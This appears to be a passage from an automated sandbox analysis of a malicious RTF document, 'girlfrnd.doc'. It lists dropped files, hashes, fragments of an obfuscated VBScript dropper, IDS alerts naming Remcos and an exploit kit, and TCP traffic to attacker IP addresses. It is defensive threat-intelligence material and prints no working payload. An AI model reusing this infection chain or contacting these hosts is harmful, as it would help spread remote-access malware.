                            Preview:PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):64
                            Entropy (8bit):0.34726597513537405
                            Encrypted:false
                            SSDEEP:3:Nlll:Nll
                            MD5:446DD1CF97EABA21CF14D03AEBC79F27
                            SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                            SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                            SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                            Malicious:false
                            Reputation:high, very likely benign file
                            Preview:@...e...........................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createactiveimagesbeautygirlfrnd[1].gif

                            Download File
                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):427434
                            Entropy (8bit):3.575965695258709
                            Encrypted:false
                            SSDEEP:3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP
                            MD5:FD92F8BCCF35E72FE49BAB1B596EEFCE
                            SHA1:40ECAF11BEF8907906B8DDEA0AE7D90098A4CEBC
                            SHA-256:BFAE575FB0E846BA3D7929E3D8A8E593DCD529ED6FF2F0F6D6378339B0F10AA8
                            SHA-512:D344643C03F233667A115149110CD89B3570C87012E578B1CF793B2515A524A3980A99B2C51712E406BD3AD92DCAA17F76EB81A8AB0A767CE5EE403DD428D0F6
                            Malicious:false
                            Reputation:low
                            Preview:..d.i.m. .p.o.s.u.a.l. .....p.o.s.u.a.l. .=. .r.e.g.a.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".p.a.l.p.a.b.i.l.i.z.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.n.e.g.a.l.h.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".n.e.b.l.i.n.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.v.i.a.m.e.n.t.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".c.i.m.b.r.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".t.a.r.a.m.b.o.l.a.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\json[1].json

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            File Type:JSON data
                            Category:dropped
                            Size (bytes):962
                            Entropy (8bit):5.013811273052389
                            Encrypted:false
                            SSDEEP:12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
                            MD5:18BC6D34FABB00C1E30D98E8DAEC814A
                            SHA1:D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
                            SHA-256:862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
                            SHA-512:8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
                            Malicious:false
                            Preview:{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4AFAD567-7C83-4372-B44D-6F792E443A94}.tmp

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):16384
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3::
                            MD5:CE338FE6899778AACFC28414F2D9498B
                            SHA1:897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
                            SHA-256:4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
                            SHA-512:6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
                            Malicious:false
                            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1618A385-B6B3-4616-9154-9C934CABE56D}.tmp

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):1024
                            Entropy (8bit):0.05390218305374581
                            Encrypted:false
                            SSDEEP:3:ol3lYdn:4Wn
                            MD5:5D4D94EE7E06BBB0AF9584119797B23A
                            SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                            SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                            SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                            Malicious:false
                            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{83BA3C36-F74F-4B45-8571-EA047C3BEBDD}.tmp

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):15872
                            Entropy (8bit):3.609794089206147
                            Encrypted:false
                            SSDEEP:384:I/ag0m6rcy36KcmLs2i04sBRv7HmyEIcIgljD/XWuPfM10DuiqSBbvf+:rx11RcmLkUHbrcNjjHfRui/NX+
                            MD5:4E48D77EE0DEF470F75C83CFD40D6A27
                            SHA1:B6C8583635F35635C093745A53AD18572DE6EC76
                            SHA-256:DD2DDBEC2BBCFC519E9132FA3753DFDCABD4497D1588CD8DFCB81FA58ABFDC87
                            SHA-512:A8E4D5E68C9B686D0E6053559E3E2961322365F3890A3D9BE5DEA4611FCD9FB0ECECACDE1D4EB3135AAC6AFD275A9FCB4996CC447997F94E03EBCBE7167B5099
                            Malicious:false
                            Preview:................9.8.2.5.3.4.3.6.....%.<.#.+.2...?.1.!.@.!.!.|.|.3.<.?.`.+.-.4.0.?.$._.*.?...[.'.^...*.6.>.@.8.(.?.>.:.6.?.#.2.+.+.=.%.].>...$...&.<.`.,...8.%...?.`.=.;.~.9./._.%.+.2.~.?.].#.4...>.*...?.'.<.?.*.5.|.!._...?.1.3.=.>.+.%.`./.0.?.~.3.+.<.<.4.3.<.1.>.?.|.%.?.2.7...4.?.|.2.7.[.(.?.2.%.;.#.0.(.9.3.6.?.%.~.6.9.&.|...?.^.;.=...=.4.;.7._.?.`.%.&.#.#.:.[.2.0.^.^.=.(.#.<.).?.+.?.1.$.+.!.^.?.9.,.0.=.$.!.-.2.8._.#.?.?.3.?.&.%.3.+.#.0.!.`...?...?.?.^.*.@._.=.%.>.0.=.]...#.?...=.4.&.>.)...6.!.?.).,.[...&.?.).!.>.-...%.?.?...?.?.7.8._.(.0.....;.'.+.|.*...=._.5.?._.1.'.#.,.2...9.?.+./.>.7.2.,.=.)...1.7.].%.@.-.>...<.2.=.@.0.].%./.^.!.#.!.&.=.?.+.$.*.%.`.0.*.7.*.#.0.%...4.`.*...|.#.0.&._.%.#.).$.>.$.'.<...1...?...3._.,.#.?...[.?./.<.?.(.1.[.(...?.3.?.&.5._...'.<...#.#.#.?.1.~...$.).-.2.<.~.#.*.4.'.|.2.0.8.;.|.+.!.9.(...+.'.6.7.*...%.5.%.../.=.,.5.1...|.@.8.,.+...-.%.-.|.$.[.>.;.1.:.5...?.?.5.[.?.6.0.6.(.?...].4.$.[.|.=.0.%.].^.8...-.%.'...1.$.<._...(.<.;.^.,...1.$.,.(.(.3.|.-.[.~.-.?.(.%.

                            C:\Users\user\AppData\Local\Temp\ahb5qkdh.pj3.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\z0k3lmmz.kga.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Preview:1

                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\girlfrnd.LNK

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:05 2023, mtime=Fri Aug 11 15:42:05 2023, atime=Fri Jul 26 11:59:52 2024, length=94593, window=hide
                            Category:dropped
                            Size (bytes):1004
                            Entropy (8bit):4.523140138086573
                            Encrypted:false
                            SSDEEP:12:8WxRgXg/XAlCPCHaXYzBPl1B/Dr8xX+WcL9OtpicvbjJ5DtZ3YilMMEpxRljKV6g:8WZ/XT031xOihsIeh5Dv3qaik7N
                            MD5:08A9A2B79442BE8FEDF8090439F88E13
                            SHA1:8742BA2F811BEEE2A7E3F2BD223B09573B3DA101
                            SHA-256:7CA946DB20DA23A957B967081A6FAE5C5A396E298136DA9784BB04C3CB74AA1F
                            SHA-512:899CEE51FDBA8B1BDFCD692D0CA11BE5B1D539AE587CD7FA973D554C7500014327F24B941D1F4232EDDCA62DC06CF1E34547E6B1B07C1FFD3715BAA2B46991A4
                            Malicious:false
                            Preview:L..................F.... ....`U.r....`U.r...o..[....q...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Xyg..user.8......QK.X.Xyg*...&=....U...............A.l.b.u.s.....z.1......WD...Desktop.d......QK.X.WD.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....b.2..q...X{g .girlfrnd.doc..F.......WC..WC.*.........................g.i.r.l.f.r.n.d...d.o.c.......v...............-...8...[............?J......C:\Users\..#...................\\528110\Users.user\Desktop\girlfrnd.doc.#.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.g.i.r.l.f.r.n.d...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......528110..........D_....3N...W...9.W.e8...8.....[D_....3N...W...9.W.e8...8.....[

                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:Generic INItialization configuration [folders]
                            Category:dropped
                            Size (bytes):50
                            Entropy (8bit):4.261467880199449
                            Encrypted:false
                            SSDEEP:3:M1P1Bp5om4HXFBp5ov:Mzhyhy
                            MD5:49E46E3351A547F45F165624EC46E828
                            SHA1:96E9DB3F221C565042576C8DED7F775A71D8E5FD
                            SHA-256:B7C4C8808934CEF8B66A86ECB1704FACBBA5683896661E334EA458E7E16EA3A2
                            SHA-512:D5C002F26CE93E61DEB87CC8562C05D3A8E2677817CDB0E42BF851772DDE61CB358455E6F6993BD203466E043685704BB726AD2ABD046C0E11F2D40ADDAB7543
                            Malicious:false
                            Preview:[doc]..girlfrnd.LNK=0..[folders]..girlfrnd.LNK=0..

                            C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):162
                            Entropy (8bit):2.4797606462020307
                            Encrypted:false
                            SSDEEP:3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
                            MD5:2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
                            SHA1:95E13378EA9CACA068B2687F01E9EF13F56627C2
                            SHA-256:60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
                            SHA-512:2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
                            Malicious:false
                            Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                            C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS

                            Download File
                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):427434
                            Entropy (8bit):3.575965695258709
                            Encrypted:false
                            SSDEEP:3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP
                            MD5:FD92F8BCCF35E72FE49BAB1B596EEFCE
                            SHA1:40ECAF11BEF8907906B8DDEA0AE7D90098A4CEBC
                            SHA-256:BFAE575FB0E846BA3D7929E3D8A8E593DCD529ED6FF2F0F6D6378339B0F10AA8
                            SHA-512:D344643C03F233667A115149110CD89B3570C87012E578B1CF793B2515A524A3980A99B2C51712E406BD3AD92DCAA17F76EB81A8AB0A767CE5EE403DD428D0F6
                            Malicious:true
                            Preview:..d.i.m. .p.o.s.u.a.l. .....p.o.s.u.a.l. .=. .r.e.g.a.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".p.a.l.p.a.b.i.l.i.z.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.n.e.g.a.l.h.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".n.e.b.l.i.n.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.v.i.a.m.e.n.t.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".c.i.m.b.r.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".t.a.r.a.m.b.o.l.a.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.

                            C:\Users\user\Desktop\~$rlfrnd.doc

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):162
                            Entropy (8bit):2.4797606462020307
                            Encrypted:false
                            SSDEEP:3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
                            MD5:2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
                            SHA1:95E13378EA9CACA068B2687F01E9EF13F56627C2
                            SHA-256:60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
                            SHA-512:2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
                            Malicious:false
                            Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                            Static File Info

                            General

                            File type:Rich Text Format data, version 1
                            Entropy (8bit):2.7753724392830432
                            TrID:
                            • Rich Text Format (5005/1) 55.56%
                            • Rich Text Format (4004/1) 44.44%
                            File name:girlfrnd.doc
                            File size:94'593 bytes
                            MD5:f179217f7e89dea23f1a01c29fc61659
                            SHA1:0176904a79c159e96b5bd8aaf4eae5817b0f0996
                            SHA256:25210bf101e90b41547334124d89da300d74672054e6aefaa89aac51e55c1e10
                            SHA512:9920575f85b0b1120cf0d84d1536974917f5dad63ebd73d406a7e75c1bb2554ee437f6fc1bb82856c753aaf6b7fe0d397eca3ca70bb682eb3d09f5584ae113ab
                            SSDEEP:384:HL33DVJny5dXsM8j4mts4dSy5M7lNZwnxbIEbVX+pOtASxurvRNc7OYRFNFgJ04q:rDHyDs9jXFK7XU0cVXwONFXzg6d118E
                            TLSH:FD930248E74F11A5CFA4A637431B198885FCB77EF20006B5B0AC93A137EDC2E956997C
                            File Content Preview:{\rtf1..........{\*\listtable165779705 \_}.{\398253436..%<#+2.?1!@!!||3<?`+-40?$_*?.['^.*6>@8(?>:6?#2++=%]>.$.&<`,.8%.?`=;~9/_%+2~?]#4.>*.?'<?*5|!_.?13=>+%`/0?~3+<<43<1>?|%?27.4?|27[(?2%;#0(936?%~69&|.?^;=.=4;7_?`%&##:[20^^=(#<)?+?1$+!^?9,0=$!-28_#??3?&%3

                            File Icon

                            Icon Hash:2764a3aaaeb7bdbf

                            Static RTF Info

                            Objects

                            IdStartFormat IDFormatClassnameDatasizeFilenameSourcepathTemppathExploit
                            000001DEBhno

                            Network Behavior

                            Suricata IDS Alerts

                            TimestampProtocolSIDSignatureSource PortDest PortSource IPDest IP
                            2024-07-26T15:00:06.818157+0200TCP2036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection4916814645192.168.2.22192.210.214.9
                            2024-07-26T15:00:03.219068+0200TCP2020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M18049167192.3.176.154192.168.2.22
                            2024-07-26T15:00:01.128226+0200TCP2047750ET MALWARE Base64 Encoded MZ In Image8049166198.46.176.133192.168.2.22
                            2024-07-26T15:00:02.213626+0200TCP2049038ET MALWARE Malicious Base64 Encoded Payload In Image8049166198.46.176.133192.168.2.22
                            2024-07-26T15:00:08.528913+0200TCP2803304ETPRO MALWARE Common Downloader Header Pattern HCa4916980192.168.2.22178.237.33.50

                            Network Port Distribution

                            TCP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jul 26, 2024 14:59:57.086978912 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.093216896 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.093295097 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.093420982 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.100375891 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.613403082 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.613497972 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.613840103 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.613877058 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.613897085 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.613924980 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.616844893 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.616878986 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.616894007 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.616915941 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.620553017 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.620587111 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.620596886 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.620625019 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.622430086 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.622462988 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.622469902 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.622499943 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.625365019 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.625397921 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.625405073 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.625432968 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.625435114 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.625469923 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.700865984 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.700931072 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.701385975 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.701421976 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.701440096 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.701461077 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.704015017 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.704066992 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.706136942 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.706170082 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.706188917 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.706203938 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.708249092 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.708301067 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.709717035 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.709767103 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.711218119 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.711251974 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.711266041 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.711289883 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.714634895 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.714668989 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.714684963 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.714709044 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.717077017 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.717111111 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.717138052 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.717142105 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.717145920 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.717180014 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.719669104 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.719702959 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.719718933 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.719737053 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.722141027 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.722173929 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.722191095 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.722202063 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.724679947 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.724713087 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.724730968 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.724747896 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.724751949 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.724786043 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.789066076 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.789155006 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.789684057 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.789721012 CEST8049165192.3.176.154192.168.2.22
                            Jul 26, 2024 14:59:57.789743900 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.789779902 CEST4916580192.168.2.22192.3.176.154
                            Jul 26, 2024 14:59:57.791846037 CEST8049165192.3.176.154192.168.2.22
